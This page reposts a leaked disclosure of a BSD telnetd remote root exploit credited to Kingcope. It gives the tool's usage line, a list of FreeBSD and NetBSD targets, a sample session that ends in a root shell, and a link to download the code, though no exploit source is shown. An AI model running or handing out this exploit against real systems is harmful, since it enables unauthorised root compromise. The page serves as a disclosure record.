BSD telnetd Remote Root Exploit

This exploit was leaked on the Full Disclosure mailing list: http://seclists.org/fulldisclosure/2012/Jun/404 BSD telnetd Remote Root Exploit *ZERODAY* By Kingcope Year 2011 usage: telnet [-4] [-6] [-8] [-E] [-K] [-L] [-N] [-S tos] [-X atype] [-c] [-d] [-e char] [-k realm] [-l user] [-f/-F] [-n tracefile] [-r] [-s src_addr] [-u] [-P policy] [-y] <-t TARGET_NUMBER> [host-name [port]] TARGETS: 0 FreeBSD 8.2 i386 1 FreeBSD 8.0/8.1/8.2 i386 2 FreeBSD 7.3/7.4 i386 3 FreeBSD 6.2/6.3/6.4 i386 4 FreeBSD 5.3/5.5 i386 5 FreeBSD 4.9/4.11 i386 6 NetBSD 5.0/5.1 i386 7 NetBSD 4.0 i386 8 FreeBSD 8.2 amd64 9 FreeBSD 8.0/8.1 amd64 10 FreeBSD 7.1/7.3/7.4 amd64 11 FreeBSD 7.1 amd64 12 FreeBSD 7.0 amd64 13 FreeBSD 6.4 amd64 14 FreeBSD 6.3 amd64 15 FreeBSD 6.2 amd64 16 FreeBSD 6.1 amd64 17 TESTING i386 18 TESTING amd64 Trying 192.168.2.8... Connected to 192.168.2.8. Escape character is '^]'. Trying SRA secure login: *** EXPLOITING REMOTE TELNETD *** by Kingcope *** Year 2011 USING TARGET -- FreeBSD 8.2 amd64 SC LEN: 30 ALEX-ALEX 6:36PM up 5 mins, 1 user, load averages: 0.01, 0.15, 0.09 USER TTY FROM LOGIN@ IDLE WHAT kcope pts/0 192.168.2.3 6:32PM 4 _su (csh) FreeBSD h4x.Belkin 8.2-RELEASE FreeBSD 8.2-RELEASE #0: Thu Feb 17 02:41:51 UTC 2011 root () mason cse buffalo edu:/usr/obj/usr/src/sys/GENERIC amd64 uid=0(root) gid=0(wheel) groups=0(wheel),5(operator) Exploit-DB mirror: http://www.exploit-db.com/sploits/19520.zip